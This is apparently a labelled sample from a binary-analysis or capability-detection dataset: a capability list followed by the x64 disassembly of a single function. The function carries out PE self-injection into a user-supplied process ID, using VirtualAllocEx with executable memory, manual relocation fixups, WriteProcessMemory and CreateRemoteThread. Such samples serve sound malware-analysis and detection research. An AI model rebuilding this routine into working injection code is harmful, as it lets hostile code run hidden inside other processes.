Function at 0x1400112df
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140016900
push rbp
push rdi
sub rsp, 0x2e8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x1400240f3]
call fcn.1400113f7
lea rdx, str.pid:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x50]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x50]
mov r8d, eax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x88]
call fcn.140011208
mov r8d, dword [rbp + 4]
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0xc8]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rbp + 0x68]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rbp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x124], 0
mov qword [rbp + 0x168], 0
mov rax, qword [rbp + 0x108]
cmp dword [rax + 4], 0
jbe 0x140016b78
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov dword [rbp + 0x124], eax
mov rax, qword [rbp + 0x108]
add rax, 8
mov qword [rbp + 0x168], rax
xor eax, eax
mov word [rbp + 0x184], ax
jmp 0x140016ac1
movzx eax, word [rbp + 0x184]
inc ax
mov word [rbp + 0x184], ax
movsx eax, word [rbp + 0x184]
cmp eax, dword [rbp + 0x124]
jae 0x140016b55
movsx rax, word [rbp + 0x184]
mov ecx, 0xfff
mov rdx, qword [rbp + 0x168]
movzx eax, word [rdx + rax*2]
and ax, cx
movzx eax, ax
test eax, eax
je 0x140016b50
mov rax, qword [rbp + 0x108]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x88]
add rcx, rax
mov rax, rcx
movsx rcx, word [rbp + 0x184]
mov edx, 0xfff
mov r8, qword [rbp + 0x168]
movzx ecx, word [r8 + rcx*2]
and cx, dx
movzx ecx, cx
add rax, rcx
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
add rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x148]
mov qword [rcx], rax
jmp 0x140016ab0
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 4]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x108], rax
jmp 0x140016a64
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x50]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x88]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, 1
imul rax, rax, 0
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 4
jae 0x140016bc2
jmp 0x140016bc7
call fcn.140011311
mov rax, qword [rbp + 0x288]
mov byte [rbp + rax + 0x1a4], 0
mov eax, 1
imul rax, rax, 1
mov byte [rbp + rax + 0x1a4], 1
lea rax, [0x14001114a]
add rax, qword [rbp + 0xe8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ba00]
call fcn.14001137a
mov rax, rdi
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.140011203
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret